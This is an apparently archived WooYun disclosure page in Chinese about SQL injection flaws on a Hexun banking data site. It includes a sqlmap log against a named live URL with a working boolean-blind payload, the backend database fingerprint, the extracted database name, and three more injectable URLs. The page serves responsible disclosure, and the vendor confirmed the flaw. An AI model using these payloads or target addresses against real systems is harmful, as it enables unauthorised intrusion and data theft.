当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091974

漏洞标题:和讯网某重要站点多处sql注入

相关厂商:和讯网

漏洞作者: #6c6c6c

提交时间:2015-01-15 09:49

修复时间:2015-03-01 09:50

公开时间:2015-03-01 09:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-15: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向核心白帽子及相关领域专家公开
2015-02-04: 细节向普通白帽子公开
2015-02-14: 细节向实习白帽子公开
2015-03-01: 细节向公众公开

简要描述:

sql

详细说明:

注入地址:http://data.bank.hexun.com/card/xykcs/csdb.aspx?db=pro208
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 04:57:04
[04:57:04] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\data.bank.
hexun.com\session' as session file
[04:57:04] [INFO] testing connection to the target url
[04:57:05] [INFO] testing if the url is stable, wait a few seconds
[04:57:06] [INFO] url is stable
[04:57:06] [INFO] testing if GET parameter 'db' is dynamic
[04:57:06] [INFO] confirming that GET parameter 'db' is dynamic
[04:57:07] [INFO] GET parameter 'db' is dynamic
[04:57:07] [WARNING] heuristic test shows that GET parameter 'db' might not be i
njectable
[04:57:07] [INFO] testing sql injection on GET parameter 'db'
[04:57:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:57:08] [INFO] GET parameter 'db' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[04:57:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[04:57:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:57:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[04:57:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[04:57:09] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:57:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[04:57:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[04:57:10] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[04:57:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[04:57:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[04:57:11] [INFO] testing 'Oracle AND time-based blind'
[04:57:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[04:57:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[04:57:15] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[04:57:16] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[04:57:19] [INFO] target url appears to have 24 columns in query
[04:57:33] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[04:57:33] [INFO] checking if the injection point on GET parameter 'db' is a fal
se positive
GET parameter 'db' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 85 HTTP(s) requ
ests:
---
Place: GET
Parameter: db
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: db=pro208) AND 1281=1281 AND (5074=5074
---
[04:57:44] [INFO] testing MySQL
[04:57:45] [WARNING] the back-end DBMS is not MySQL
[04:57:45] [INFO] testing Oracle
[04:57:45] [WARNING] the back-end DBMS is not Oracle
[04:57:45] [INFO] testing PostgreSQL
[04:57:45] [WARNING] the back-end DBMS is not PostgreSQL
[04:57:45] [INFO] testing Microsoft SQL Server
[04:57:46] [INFO] confirming Microsoft SQL Server
[04:57:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2005
[04:57:47] [INFO] fetching database names
[04:57:47] [INFO] fetching number of databases
[04:57:47] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[04:57:47] [INFO] retrieved:
[04:57:48] [ERROR] unable to retrieve the number of databases
[04:57:48] [INFO] falling back to current database
[04:57:48] [INFO] fetching current database
[04:57:48] [INFO] retrieved: DB_WEB
available databases [1]:
[*] DB_WEB
[04:58:09] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\data.bank.hexun.com'
[*] shutting down at 04:58:09


信用卡什么的

http://data.bank.hexun.com/card/xykcenter.aspx?no=1 存在注入
http://data.bank.hexun.com/lccp/Jrxp.aspx?col=
http://data.bank.hexun.com/yhdg/yhdgdb.aspx?db=proc2,proc3 注入

漏洞证明:

修复方案:

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-15 09:50

厂商回复:

处理中

最新状态:

暂无